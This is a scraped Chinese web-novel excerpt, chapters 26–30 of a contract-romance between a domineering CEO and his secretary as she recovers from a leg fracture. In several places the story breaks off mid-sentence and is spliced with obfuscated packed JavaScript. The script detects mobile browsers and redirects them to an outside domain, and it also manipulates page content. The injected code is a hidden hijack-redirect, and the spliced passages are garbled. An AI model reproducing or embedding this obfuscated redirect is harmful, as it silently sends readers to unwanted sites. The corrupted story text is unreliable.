他起身捞起西装外套,“提车,去医院。” 苏嘉觅右腿小腿轻微骨裂。 霍砚舟与主治医生沟通后才去看苏嘉觅,她白皙的一张小脸在打石膏后变得愈发的惨白。 她看向霍砚舟,声音软地恳求,“霍总,撞我的摩托车手是故意的,你能不能托港城的朋友帮我查查?” 霍砚舟捏紧了手,他冷冷地剔了黎骋一眼。 “你还不快去查?” 黎骋知道霍砚舟以为是他做的,这么说是在敷衍苏嘉觅,可他不好当苏嘉觅面儿解释,只得颔首走了。 霍砚舟拉过一把椅子坐下,“还疼吗?” 第26章 从今天起,你跟我住! 苏嘉觅劫后余生,没什么力气说话,她只点点头。 霍砚舟却急于搞清楚真相,他询问苏嘉觅,“撞你的人什么样?” “他骑着摩托车带着黑色的头盔,没看清什么样。” 苏嘉觅仰靠在那,心有余悸,“我躲了,可他是故意来撞我的,他没犹豫就撞过来了。” 霍砚舟垂下眼眸,深沉内敛,没说话。 他伸手撩了一下她的额发,“报警了吗?” 苏嘉觅偏头躲了一下,“急救中心已经报警了。” “我会让黎骋继续查,”霍砚舟收回手,他捻了下手指,“苏秘书,明天黎骋来给你办出院。” 苏嘉觅扫了一眼自己吊在那的腿,“出院?” “嗯,接诊医生的建议,”霍砚舟拿出手机给苏嘉觅看医生的诊断,“伤筋动骨,你到我那养着。” 苏嘉觅惊诧,“真让我出院啊?” 霍砚舟垂眸哂笑,“轻微骨裂,回家静养,我定了明天的飞机。” 话音落,他起身整理下西服外套,提步走了。 苏嘉觅被气得七窍生烟,她骂骂咧咧的,“丧心病狂的资本家,我这样了,他都不让我以单身狗的待遇多养几天啊?” 气不过的苏嘉觅给许瑶打电话。 极尽刻薄的骂骂咧咧,听得许瑶既担心又发笑。 她接过她秘书傅珩端上来的咖啡,“觅觅,打好石膏确实应该回来将养。只是这霍砚舟也忒着急了!” 傅珩剑眉微微上扬,嘴角勾出一抹不易察觉的淡笑。 他知道霍砚舟要玩哪一出了,霍砚舟穷得就剩钱了,还有钱办不成的事儿? “瑶瑶,我总觉得我被撞得蹊跷,”苏嘉觅仔细盘桓了一番,“知道我来港城的只有霍砚舟和黎骋,可他俩为什么要害我?” 许瑶得知苏嘉觅轻微骨裂,其他无碍,她提着的心也放下了。 “看看霍砚舟要干嘛吧,你要是明天真回来,我去接你。” 苏嘉觅挂了电话,神情晦暗不明。 霍砚舟回到酒店,就见黎骋正忐忑地等他。 黎骋一见面就叫冤,“霍总,我真的没找人撞苏小姐。” 霍砚舟没说话,剔了黎骋一眼。 他慢条斯理地解西服外套的扣子,“联系机场,明天回京城。” 黎骋不知道他这关过没过,只是他发觉霍砚舟的神情阴恻又冷漠,不是很高兴。 总统套间的书房内,霍砚舟办公途中,回想起苏嘉觅在医院的样子,他捏了捏眉心。 撞苏嘉觅的人难道是他二叔派来的? 想到这,霍砚舟一个电话打给了他二叔,开诚布公,“杳杳的事,我自会尽心。你别掺和。” 电话那端一阵沉默,就听霍砚舟又说,“再有下次,二叔,你自己掂量。” 挂了电话,霍砚舟的愧疚一丝未减。 按照苏嘉觅的惜命说法,她那么在意自己,这次确实是他对不住她,害她被撞。 医院内的苏嘉觅在接受完港城警方的盘问后,从当地警方那得知那条路附近都是半山豪宅,说不定是哪家少爷贪玩惹祸。 而苏嘉觅也有了新的猜测——难道是她妈妈阮怜玉知道她到了港城找她才出手逼她走?有人说她妈阮怜玉离家走后,嫁给了个有钱人。 她看向港城灰蒙蒙的天色,又觉得她的想法不对。 就算是阮怜玉嫁给了个港城有钱人,这人得多手眼通天,她刚到港城三天就能定位她身处何地? 没头绪的苏嘉觅闭上了眼睛,安心躺上了一天。 第二日,黎骋来给苏嘉觅办理了出院手续,将人带去机场。 检票的时候,霍砚舟过来了,俯身从轮椅上抱起了苏嘉觅。 苏嘉觅下意识地勾住了霍砚舟的脖子,“霍总,让机场的地勤或者义工来就好。” 霍砚舟觑向机场那些年过五十的义工,他挑眉,“你不怕摔?” 人口老龄化,义工的年纪都往上调了。 苏嘉觅缩了缩脖子,还没想好怎么应对,就听霍砚舟又毒舌地补了一句,“苏秘书,你多久没上秤了?” “我又不是猪,上什么秤!” 苏嘉觅没好气地怼霍砚舟。 霍砚舟脾气不好,清冷不近人情,但他绅士有度,不会打女人,苏嘉觅就冲这一点,才有恃无恐,不是嘴上亏。 霍砚舟勾唇轻笑,“既然知道,你还吃胖?” 苏嘉觅想着怎么怼回去,就觉得霍砚舟的侧颜可以封神了,好看的让人沉溺,她没说话,安静地享受帅哥的抱上飞机服务。 苏嘉觅从进站到登机,都是霍砚舟抱着的。 黎骋全程垂眉敛目像是做了什么亏心事一般,小心翼翼。 苏嘉觅被霍砚舟放到豪华座椅上的时候,她还有点懵,她四周打量商务舱乃至经济舱,就他们仨。 “霍总,就我们仨登机?” 面对苏嘉觅的询问,黎骋这个嘴替凑了过来,“霍总怕苏秘书旅途奔波,包机回京。” 霍砚舟却觉得黎骋聒噪,他不耐烦地呵斥,“滚你经济舱去。” 黎骋似乎做了什么错事,被霍砚舟教训得只能坐经济舱。 见此,苏嘉觅没忍住,笑了。 霍砚舟瞧见了,不见悲喜的面容,他坐下后吩咐空姐给苏嘉觅拿毯子盖。 “睡一下吧!” 苏嘉觅点点头。 此后,霍砚舟或假寐,或办公,或小憩,他都没与苏嘉觅说什么。 落地后,来接苏嘉觅的许瑶第一次跟霍砚舟接触,她垂着眉眼,不敢与其对视,她第一感觉就是这人很冷,还强势。 “你是苏秘书的朋友?” 霍砚舟没等许瑶回答就直接说,“她去我那,让你白跑一趟。” 苏嘉觅忙说,“霍总,你那么忙,我让瑶瑶照顾我就行了。” 霍砚舟走过来,俯身从轮椅上把人抱了起来,顺势绕过了许瑶和她秘书傅珩。 傅珩低笑,“狗东西!” 霍砚舟抵在苏嘉觅耳垂处,“你别忘了合约上写了由我规定待一起的时长。” 苏嘉觅听此一顿,“关键我生病了啊!” 霍砚舟嗤笑,“你想违约赔钱?” 苏嘉觅深深地看了霍砚舟一眼,皮笑肉不笑,“麻烦霍总了。” 霍砚舟就知道别跟这个财迷提钱,不仅伤她感情还伤身。 到了家里,霍砚舟又将苏嘉觅抱到了她的卧室,轮椅和拐杖、行李都由黎骋搬了进去。 苏嘉觅心情有点复杂,她有那么一瞬觉得自己被霍砚舟娇养了,又觉得霍砚舟这冰块脸很细心。 书房内,黎骋将港城发过来的血液样本检测结果打出来递给了霍砚舟。 “霍总,苏小姐是最适合的人。” 霍砚舟接过结果,眉眼舒展。 黎骋则赞叹道,“还是霍总考虑周祥,将苏小姐留在身边照看才能将身体养达标。” 霍砚舟讳莫如深地白了一眼黎骋,“多嘴,谁说...” 他摆摆手,“去给她弄点吃的。” 夜里,苏嘉觅拄着拐来找霍砚舟。 她有些局促,“霍总,陆北约我明天见面。” 霍砚舟,“所以呢?” 苏嘉觅把陆北签的欠条摊在了霍砚舟面前。 霍砚舟扫了一眼欠条上的内容。 他握着打火机的手轻轻一拨,火苗窜了出来...... 第27章 霍砚舟:她的羞涩给了我 苏嘉觅见此赶紧把欠条抽了回来。 “霍总,你要干什么?” 霍砚舟另一只拿烟盒的手顿住,“你也想来一支?” 草木皆兵的苏嘉觅讪讪一笑,将欠条又摊在了霍砚舟面前。 霍砚舟偏头焚了一支烟,烟气缭绕。 他嗤笑,“出息!” 也是,这点小钱在霍砚舟眼中根本不算什么。 苏嘉觅手握紧拐杖,她抿唇,“霍总能不能帮我个小忙?” “替你去催债?” 霍砚舟看穿了苏嘉觅的小算盘,他交叠双腿,神情玩味。 苏嘉觅甜美一笑,拎着拐杖震了一下地面,“我这不是腿不方便吗?” 霍砚舟缓缓起身,绕了过来。 他伸手勾住苏嘉觅的腰,语气挑弄,“但你形象贴合。” 一个拄着拐去讨债的女人看着就可怜。 苏嘉觅推开霍砚舟的手,神色不太好看。 “霍总既然不想帮忙就算了,但是你找人故意撞我这事,可不能就这么算了!” “你想讹我?” 霍砚舟缓缓吐出一口烟气,眼尾上挑,露出些许危险的神韵。 苏嘉觅捏着拐杖,一字一顿地说,“我前脚请假,后脚就被撞了,我在港城没有仇家,不是您还会有谁?” “你的目的,就是希望我更依赖你。” 苏嘉觅眼中的笑意不见,倒是多了几分冷肃,看得霍砚舟想笑。 他勾唇,“说完了?” 苏嘉觅点头。 霍砚舟迫近苏嘉觅,他伸手捏住苏嘉觅的下巴,“苏嘉觅,我的确不是什么好人,但对付你,我没必要。” 他捻过她的唇瓣,“我是缺女人的?” 显然不是,霍砚舟人往那一站,什么都不做,就有女人往上贴。 只要不是那种特别注重情爱的女人。 霍砚舟可以满足女人方方面面的需求,毕竟是要颜有颜,要钱有钱的主儿。 苏嘉觅激将与试探在霍砚舟这一点用都没有,她觉得来求霍砚舟这一趟没意思。 她拄着拐要走,“您说的有道理,我想多了,先回去了。” 拐杖却绊到了霍砚舟的脚。 苏嘉觅人往前倾扑进了霍砚舟的怀里,嘴巴垫在了霍砚舟的胸口前,他大手握住她的腰给其支撑,两人才没摔倒。 霍砚舟推开苏嘉觅,就见他白衬衫上有红色的血渍。 苏嘉觅嘴唇磕出了血,“嘴好疼,旧伤未愈,又添新伤,我怎么这么倒霉?” 霍砚舟挠了挠眉心,有些无奈。 他抬眼就见苏嘉觅撅着嘴在那给自己嘴唇扇风,而她还拄着单拐,样子滑稽又好笑。 苏嘉觅觉得自己祸不单行,瞪了霍砚舟一眼准备回房间。 霍砚舟倚着办公桌,“等下。” 苏嘉觅转身,就见霍砚舟意有所指地盯着她手里的欠条。 “我帮你拿回钱,你怎么谢我?” 霍砚舟语气挑弄,像是逗只小猫一般。 “霍总想我怎么谢?” 苏嘉觅看了一眼自己的腿,一副生活不能自理的样子。 霍砚舟扫了一眼她的手,“手不是还能动吗?” 他沉声,“每天给我按摩,时长,力度,我定。” 苏嘉觅虽然无语,可为了欠条上的100万可以兑现,她同意了。 霍砚舟收下欠条,就要“报酬”。 “过来给我按按。” 苏嘉觅看着四平八稳坐在沙发椅上的霍砚舟,她站在那哪有支撑依靠,“霍总,换个地方吧,我腿脚不方便,站不住。” 霍砚舟一顿,眼中闪过丝丝精光透着不怀好意,“去床上。” 苏嘉觅脸色瞬间不好了。 霍砚舟人已经过来,扶着她的胳膊,“你要求真多。” 到霍砚舟的卧室,苏嘉觅脸上笼着一抹淡淡的红晕,不自在。 可霍砚舟已经安然地躺在床上,苏嘉觅只得坐过去,依靠着床头,伸手给他按摩太阳穴。 他闭着眼睛,神情淡然,一派享受的模样。 苏嘉觅则时不时白霍砚舟一眼,然后叽叽咕咕地做口型骂他两句,什么**血馒头的地主老柴,她张口就来。 霍砚舟却呼吸渐渐均匀,他睡着了。 苏嘉觅望着霍砚舟宁静的睡颜,那长长的眼睫毛像黑蝴蝶的翅膀一般落下,她停下手,在他眼前晃晃,确认他睡了,她就逃。 忽而,一双大手拉住苏嘉觅的手微微往前一带。 霍砚舟睁眼,就看到苏嘉觅白色蕾丝内衣透过领口赫然出现在他眼前,他呼吸一滞,内衣包裹下的圆润让人着迷。 “松手啊,霍砚舟,你有被**妄想症吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他觑向陆北,字字珠玑,“是时间损失费,她的青涩滋味,你又没尝过。” 第28章 苏嘉觅猜到他心里有人 这种话,霍砚舟张嘴就来,面不改色。 倒是苏嘉觅不争气的红了脸,化不开的羞涩模样含羞带怯。 看得陆北发怔,他与苏嘉觅在一起的时候,他从未见过她这幅神情,这是被男人娇养滋润后才有的神情。 霍砚舟见苏嘉觅美眸含羞,粉红色的红晕漾在脸上,他勾唇垂眸,就见陆北不知死活地盯着苏嘉觅看。 他将咖啡杯墩在桌子上,“陆总,看什么呢?” 陆北收回目光,他冷声,“霍先生,你怕是被有些骗了,她的第一次是被侵...” 侵犯一词还没说出口,一杯咖啡就扬在了陆北的脸上。 苏嘉觅捏着空咖啡杯子,恨恨地开口,“陆北,你可真恶心。” 她气得肩膀都在颤抖,脸色胀红。 “苏嘉觅,你当**还想立牌坊?” 陆北捋了一把脸,他起身抖落咖啡水渍,开腔骂苏嘉觅,“当初要不是我救了你,你早就被轮了,你还...” 他话还没说完,霍砚舟抬脚踹在他小腹上,将人踹出了丈远。 霍砚舟握住苏嘉觅的肩膀将人揽进怀里,“别气,想哭就哭出来。” 苏嘉觅看向霍砚舟,她嗫嚅片刻才挤出一句话,“他说的不是真的。” 霍砚舟已然明白了陆北和苏嘉觅之间的事情,两人之间确实没有过,是因为陆北嫌弃苏嘉觅被“侵犯”过。 可苏嘉觅这种惜命又执拗的性子,宁为玉碎不为瓦全,她怎么可能被人侵犯? 她情急之下会咬人,若是真被侵犯,她会**的。 陆北踉跄着爬起来,他啐了一口,“霍砚舟,你以为你是谁呀,你敢这么对我?” 霍砚舟不是京城本地人,“外来户”的面子哪有京城爷们儿的精纯,他陆北玩得好的哥们儿里有背景的也不少。 霍砚舟蔑然浅笑,“就踹你了,你想报复尽管来找我。” 他剔了一眼陆北,“赶紧把欠我女人的钱还了。” 陆北觉得晦气,他拿出支票本子写了100万撕给苏嘉觅,扬起来的支票像羞辱她的白纸。 霍砚舟觑了一眼黎骋。 黎骋会意,一脚踢在了陆北的小腿上,他一个趔趄就跪在了那。 霍砚舟勾唇,“陆总不懂礼貌,我免费教你做回人。” 他拉着苏嘉觅慢慢走到陆北面前,“把支票捡起来。” 陆北愤恨地盯着霍砚舟和苏嘉觅,眼中尽是愤懑怒火。 他捡起支票递给苏嘉觅。 苏嘉觅扯过,她瞪了一眼陆北,“陆北你叫人恶心!” 黎骋见陆北乖乖地将支票捡起给了苏嘉觅,他才上手扶起陆北,皮笑肉不笑地说,“陆总,这地儿滑,你看看你摔的。” 陆北推了一把黎骋起身。 他恨恨地盯着眼前的男人,却见男人面上风轻云淡,不悲不喜。 他伸手擦掉苏嘉觅的眼泪,“还哭?” 苏嘉觅吸溜一下鼻子,扶掉霍砚舟的手,“没哭了。” 被忽略掉的陆北,气闷地转身,骂骂咧咧地往外走。 苏嘉觅看向霍砚舟,眼中满是关切,“陆北的初中同学有几个混得好的,他一定会找你麻烦的。早知道闹成这样,我就自己要钱了,也不会让你被他记恨。” 霍砚舟双手抄兜,目光幽深,“你担心我?” “我跟你说正事儿呢!” 苏嘉觅脸上紧绷,她看向黎骋,“黎特助,霍总不得配几个保镖吗?” 霸总没有保镖这种标配实在有点说不过去。 黎骋忍笑,他拍了拍自己的肱二头肌,“我就是霍总的保镖,拿一份工资干两份活儿。” 嘴贫的黎骋遭霍砚舟一记白眼,他就识趣地走了。 霍砚舟勾唇,“我心里有数,你顾好你自己。” 苏嘉觅见霍砚舟又坐了回去,撸猫喝咖啡,闲适淡然的模样,像是无事发生一般。 阳光下,霍砚舟的侧颜笼了一层淡淡的光,苏嘉觅手住着椅子背,怔怔地看着他。 霍砚舟抬眸,“看傻了?” 苏嘉觅挠了挠头,嘴上嘟囔了一句,“男色误人。” 两人没回去,依旧坐在那撸猫,喝咖啡。 霍砚舟又给苏嘉觅点了甜品。 甜食治愈坏心情。 两人是“合伙人”的关系,各取所需,可霍砚舟绅士有度,又维护她,让苏嘉觅觉得很暖心。 她吃着甜品,拿着逗猫棒在那逗布偶猫。 霍砚舟搅着咖啡,目光落在苏嘉觅的身上,他微微皱眉,这种感觉像是岁月静好。 苏嘉觅吃的草莓慕斯,嘴角沾着粉色的奶油。 霍砚舟伸手过去捻去她唇角的奶油,他轻笑,“你几岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583235|171349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,还这吃相?” 苏嘉觅感念霍砚舟今天的出手相助,她嘟了嘟嘴巴,没反驳。 霍砚舟忽而觉得小狐狸变成魅人的小猫,她舔了舔自己的“小爪子”,没挠人,软萌得很。 忽而,霍砚舟的手机响了。 他神情变得紧张起来,捏着手机起身走远。 苏嘉觅下意识地看向霍砚舟,他神情冷肃,眉宇紧蹙,可少言寡语的他却不停地在说着什么,像是耐心地哄着什么人。 她心里闪过一个念头——霍砚舟心里有人。 只是,他心里有喜欢的人,他何必立她这么一个靶子呢? 他又不是古代帝王,又没有群妃争宠,他没必要这么做。 霍砚舟挂了电话回身,就见苏嘉觅拧着眉看着他。 他察觉出苏嘉觅的眼神有些没分寸,她只是他的假情人而已,她是不是入戏太深了? 霍砚舟白了苏嘉觅一眼,他阔步走过去,“回去了。” 苏嘉觅拎过拐杖想要起身,却发现男人没有等她的意思,意味他不想与她同行。 她又坐了回去,“啧,刚还觉得他绅士,屁呀!” 霍砚舟回家后,黎骋等在书房。 他见苏嘉觅没一同回来,就听霍砚舟说,“杳杳化疗效果不错,这边,得提速。” 黎骋脑子转得飞快,“霍总,想与她增加亲密度?” 霍砚舟微微颔首,垂眸不语。 “苏嘉觅明天复查腿,若是没事儿,我马上安排她跟您一起出差。” 黎骋狗腿地说。 霍砚舟不放心又叮嘱一句,“她之前被侵犯过,那陆北保不齐又来这一套。” 他拧眉,“万事要周全,别伤了她,伤了她又要拖延时间,杳杳等不起。” 黎骋点头。 霍砚舟焚烟叼在嘴里,缓缓吐了一口烟气。 黎骋觉得他家霍总八百个心眼子,已经算到陆北的伎俩了。 只是被算计的苏嘉觅就有点可怜。 他轻咳道,“霍总,事情了了,多给苏嘉觅些钱吧,她..也是个可怜人。” 霍砚舟将没抽完的烟按死在烟缸里,他冷冷地剔向黎骋,“管好你自己,别对她动心思。” 黎骋指天誓日的发誓,话还没说完,就见苏嘉觅敲门又推开门。 她探头进来,“霍总,晚上你吃什么?” 第29章 霍砚舟:苏秘书,我要吃煎蛋! 黎骋慌张地看向苏嘉觅。 霍砚舟清冷的眉眼浓上些许温柔,“我正要去接你,你怎么自己回来了?” 苏嘉觅知道霍砚舟就是客套。 他之前都没等她,何来要去接她一说? 她莞尔一笑,“霍总这么说,让我都怀疑您和黎特助在背后蛐蛐我,算计我了。” 黎骋干咽了一口,心虚地笑笑。 霍砚舟冷笑出声,“你有什么值得我俩算计的?” 他扫了一眼手表,吩咐黎骋,“你订餐吧!” 苏嘉觅顿了顿,她都没有黎骋富有,况且两人对她这个人都不感兴趣,她想多了? 她摆摆手,“别订我那份了,我自己煮面条。” 苏嘉觅走后,黎骋猛拍胸口,“吓死我了。” 霍砚舟心头发闷,他按了按眉心。 他刚看到苏嘉觅那一刹那,不是心虚,是愧疚,他沉声道,“事情了了,多给她三千万,这套房子也给她。” 说完,霍砚舟摆摆手让黎骋出去了。 黎骋知道霍砚舟早就为苏嘉觅做了打算,除去之前送她的那套风情雅苑,两亿三千万是给她的有偿补偿,至于这套别墅,则是霍砚舟又加的。 按理说,苏嘉觅一点都不亏。 黎骋见苏嘉觅在厨房做晚餐。 他心虚地打了招呼,人就走了,也忘了给霍砚舟订晚餐的事情。 苏嘉觅刚把面条端上桌,就见霍砚舟出来给黎骋打电话问晚餐的事情。 餐厅里飘着香味儿,霍砚舟瞟了苏嘉觅一眼准备回去。 苏嘉觅与霍砚舟这段时间吃的饭都是黎骋在一家与公司食堂合作的饭店订的。 那家的菜系,味道都不错,可两人都吃够了。 她咬着筷子问霍砚舟,“锅里还有一碗面,要不你凑合吃一口?” 霍砚舟顿住脚步,“也行。” 苏嘉觅扫了一眼自己的腿,心想“这位大少爷能不能自己去盛,有点眼力见”。 霍砚舟的目光也落在苏嘉觅的腿上。 他沉声,“明天你去复查,应该适当多动动。” 得嘞,这位爷儿是真不要脸又懒得出奇! 苏嘉觅无辜地看向霍砚舟,“下午,我没少动了,现在不想动了。” 说完,她转过身安心吃面条,嗦啰面条的声音催动饥饿男人的敏感神经。 苏嘉觅内心戏丰富——爱吃不吃,惯的你! 霍砚舟站了一会儿才去厨房自己盛面条。 面条是西红柿的汤底,是他喜欢的口味。 他端着面条坐到他平时吃饭的主位,却见苏嘉觅的面条上卧着一个煎得焦香的鸡蛋。 霍砚舟沉声,“我怎么没有煎蛋?” “霍总也没说你要吃啊,没准备你那份。” 苏嘉觅夹起鸡蛋,当着霍砚舟的面咬了一口。 霍砚舟明白苏嘉觅的意思——她都咬了一口了,谁还好意思要呢? 他拄着下巴,“一人一半?” 苏嘉觅愣住。 她白了霍砚舟一眼,“有我口水了!” “你,我都咬过了,”霍砚舟捏着筷子点着苏嘉觅,“我还嫌弃这?” 苏嘉觅可做不出来沾了她口水的东西给金主吃。 万一金主故意作,给她穿小鞋呢? 看着脑子玩命儿转的苏嘉觅,霍砚舟又说,“要不劳烦苏秘书再去煎一个?” 苏嘉觅放下筷子,起身,没脾气地笑笑。 “霍总想吃直说呀,弯弯绕绕的多没劲儿!” 她转身翻个白眼,心里骂霍砚舟满肚子坏水儿就知道拿捏她这个牛马打工人。 看着苏嘉觅不情不愿地去煎鸡蛋,霍砚舟心情大好的开始吃面条。 一口面条入口,霍砚舟神情一滞。 这个味道跟他二婶做的面条的味道很像,他抬眼看向在厨房煎蛋的苏嘉觅。 苏嘉觅煎一个鸡蛋放了半瓶油壶的油,势必让肌肉线条优秀的霍砚舟长二两肥肉。 她边看锅里的鸡蛋滋滋作响,边诅咒霍砚舟的二两肥肉长在肚子上,让他男神形象拉跨。 片刻后,霍砚舟夹着淌油的鸡蛋。 他质问苏嘉觅,“你这是油炸的吧?” “手抖,倒多了油,”苏嘉觅边吃面条边说,“不耽误吃,是焦香的。” 霍砚舟将鸡蛋丢在一边,“我不吃,你再去煎一个。” 他拄着下巴,语气平和却一字一顿,“下一个再煎不好就再煎,鸡蛋不够,我让黎骋送一车过来。” 苏嘉觅面上带笑,心里却在咒骂——蛋不够,老娘把你的给煎了! 霍砚舟悠闲地补充,“协议里写得清楚,你要无条件服从我除了发生关系以外的任何安排,包括煎鸡蛋。” 活爹! 苏嘉觅觉得霍砚舟小气起来跟疯批没差,她大意了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583236|171349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>她赶紧起身,“别,我现在就去再给霍总煎个鸡蛋。” 一刻钟后,霍砚舟吃到了少油却焦香的鸡蛋。 苏嘉觅的面条都坨了,她咬牙切齿地吃着面条,敢怒不敢言。 男人闷笑,突然伸手拍了拍苏嘉觅的脑袋,“下次乖点,别老想着跟我作对。” 话音落,霍砚舟拿过餐巾擦嘴后起身走了。 苏嘉觅没了胃口,她拿过手机给许瑶打电话。 许瑶正在应酬。 她出去倚着包厢门,嘴角漾笑,“觅觅,又跟你的大金主闹脾气了?” “那是金主吗?那是活爹!” 苏嘉觅边收拾碗筷边小声蛐蛐霍砚舟,“在咖啡厅的时候,我还觉得他终于做人了,没想到晚上,他又变成了狗男人。” 许瑶笑着抬头,就见她的秘书傅珩走了过来。 男人挺拔的身姿,绝杀的气场,拔尖的相貌,让许瑶吞了口水。 “觅觅,你说我要吃了窝边草,我丢不丢人?” “你不就是女色狼?又不是兔子。” 苏嘉觅将碗放进了洗碗机,“瑶瑶,我让陆北签那100万拿到手了,但跟他彻底撕破脸了,保不齐他会报复我。” 许瑶见傅珩走近。 她盯着傅珩的喉结,吸了一口气,“你不是有霍砚舟护着?” 苏嘉觅咬了下嘴唇。 她叹气,“我总觉得他也怪怪的。陆北一定想用我的疮疤算计我,我得小心。” 傅珩挑着眉眼,嘴角噙笑,“许总,一起进去吗?” 许瑶吞了下口水,对电话那头的苏嘉觅说,“你一直贴着霍砚舟,他不会不管你的,我这有事儿,先挂了!” 苏嘉觅瞅了一眼手机,没想到许瑶这么快就结束了通话。 夜里,苏嘉觅睡得不踏实,出了一身汗。 她又梦到了小时候在老家的街头狂奔找她妈妈,小小的她鞋子都跑丢了也没能追上离开的轿车。 苏嘉觅梦中摔倒,她猛地起身见天放亮了。 她拿过手机,看到黎骋昨晚发信息说接她去复诊。 上午十点半,一圈检查做下来,苏嘉觅被认定已经康复,她的“不良于行”算是熬过去了。 复工的下午,黎骋就找她来了。 他将一家新能源车蓄电池代工厂的资料推了过来,“苏秘书,你准备一下,下午陪霍总去云水镇出差。” 第30章 霍总的话有歧义! 云水镇距离京城四十公里,当天就能往返,可偏偏是下午去,保不齐要在那住一晚上。 苏嘉觅不想去,是不愿意跟霍砚舟出差还要住一晚。 黎骋却说,“我要在公司跟进嘉北公司的改组,霍总点名要你跟他去云水镇。” 苏嘉觅转而一想,陆北总不会在云水镇等着报复她,她也算是躲出去两天。 “行,我准备一下。” 黎骋切切地盯着苏嘉觅,想跟她说两句好话。 他最后只说了,“你注意安全。” 出了门,黎骋相信他家老板的能力,铁定不会让苏嘉觅受到伤害。毕竟,他老板做人做事都是有底线的。 而他要留下盯住陆北的一举一动。 苏嘉觅收拾妥当出门。 就见秘书办的曹月倚着门盯着她出来,人就转身进办公室蛐蛐她了。 苏嘉觅都不用听,就能猜出她们说什么—— 无外乎就是她与霍砚舟出差是假公济私,哄着霍砚舟带她去外地快活两天,两人谈情说爱,啪啪生情,等她再回来说不定在公司又进了一步。 苏嘉觅这个首席秘书,一进公司就遭人眼红,“坐实”了霍砚舟女友身份后,那更是遭人妒恨。 霍砚舟西装笔挺地出来,就见苏嘉觅拎着包在那晃神。 他走过去,伸出手牵住她,“过来。” 苏嘉觅一怔,就见霍砚舟与她十指相扣将她拉进了董事长专用电梯。 秘书办里的人透过玻璃墙看到这一幕,顿时鬼哭狼嚎,嚷嚷着霍总这颗“天菜”被苏嘉觅这头外来猪给拱了。 声音太大,苏嘉觅和霍砚舟都听到了。 苏嘉觅面色一沉,“曹月太过分,她骂谁猪呢!” 霍砚舟捏了捏苏嘉觅的手,勾唇,“我给你体面就好,你管她们做什么!” 苏嘉觅举起两人交握在一起的那只手,“霍总,你这捧杀!” “杀你?” 霍砚舟放下两人握在一起的手,他偏头在苏嘉觅耳边轻笑,“让你做好戏,没让你当戏精。” 苏嘉觅被噎得说不出话,她扒拉开霍砚舟的手。 电梯一开,她就走出去了。 上车的时候,苏嘉觅才发现司机以外还有一个身材魁梧的男人坐在了副驾驶,而后面的商务车上也坐满了人。 霍砚舟解开西服外套纽扣,弯腰上车,“傻站着干什么?进来。” 苏嘉觅紧跟着上了车,“他们是谁呀?” “给你配的保镖!” 话音落,霍砚舟仰靠在车上,闭目养神,像是要补个觉。 苏嘉觅回身看了看跟在后面的商务车,又觑了一眼前面的保镖,那天她说的话被霍砚舟采纳了。 她拿出手机给霍砚舟发了一条微信—— 谢谢霍总,我会努力让你满意的。 车过了出城的收费站,苏嘉觅也睡着了。 霍砚舟突然觉得自己肩头一重,他睁眼就见苏嘉觅靠着他睡着了。 女人的睡颜很甜美安宁,小小的鼻翼一鼓一鼓的,那颗小小的痣在白皙的鼻翼上显得格外诱人。 苏嘉觅的长相极具攻击性,攻占男人的视觉,搅动男人的欲望。 她在他家里时,明明是素颜,可却像染了胭脂的牡丹,红烈烈,娇艳欲滴,那双含了一汪清泓的眼睛睨着,就让你沉浸在她的颜值欲撩之中。 眼下,她睡着,他却周身起火。 霍砚舟大掌托着苏嘉觅的脸将人推到了车的另一边,他掸了掸被压出褶皱的衣袖,往车的另一侧挪了挪。 前面一个转弯下道,苏嘉觅又砸了过来。 她被颠醒,惺忪睁眼就见霍砚舟正冷冷地睨着她。 苏嘉觅坐起身,擦了擦嘴角,又去瞥霍砚舟的袖子,上面没有口水渍倒是有很多褶皱。 她两手过去抻了抻他的衣袖,褶皱还在。 苏嘉觅硬着头皮解释,“霍总,你这西服面料轻薄,但是容易起褶子。” 霍砚舟冷哼,“你不压我,它会起来吗?” 前面的司机干咽了一口,将中间的隔断玻璃给按了起来,还放了一首舒缓的音乐。 苏嘉觅尴尬地看向霍砚舟,“霍总说话得说全了,不然有歧义。” 霍砚舟见她那模样小心翼翼带着羞怯,他坐了过来,将人圈进怀里,“说全了,该怎么说?” 苏嘉觅看着霍砚舟的嘴唇开合,他身上的男香扑面而来,她推他,他却不动。 “压了我一路了,我得收点利息。” 霍砚舟低声,“你还欠我一口吧?” “大白天你要咬人?” 苏嘉觅推着霍砚舟的脸。 霍砚舟逗苏嘉觅玩儿消散疲乏,他松开她,“那就晚上再咬。” 苏嘉觅往车门处蹭了蹭。 霍砚舟得意地正了正西服外套,阖眼养神。 到了目的地,被考察的公司将考察项目放在了明天,直接将霍砚舟和苏嘉觅一行接去当地最地道的饭店就餐。 吃的是特色餐食,苏嘉觅很喜欢。 霍砚舟的西服外套搭在椅背上,白衬衫的袖口挽到手肘处,掐着烟看着苏嘉觅鼓着腮帮子嚼嚼嚼,像个吃不饱的松鼠。 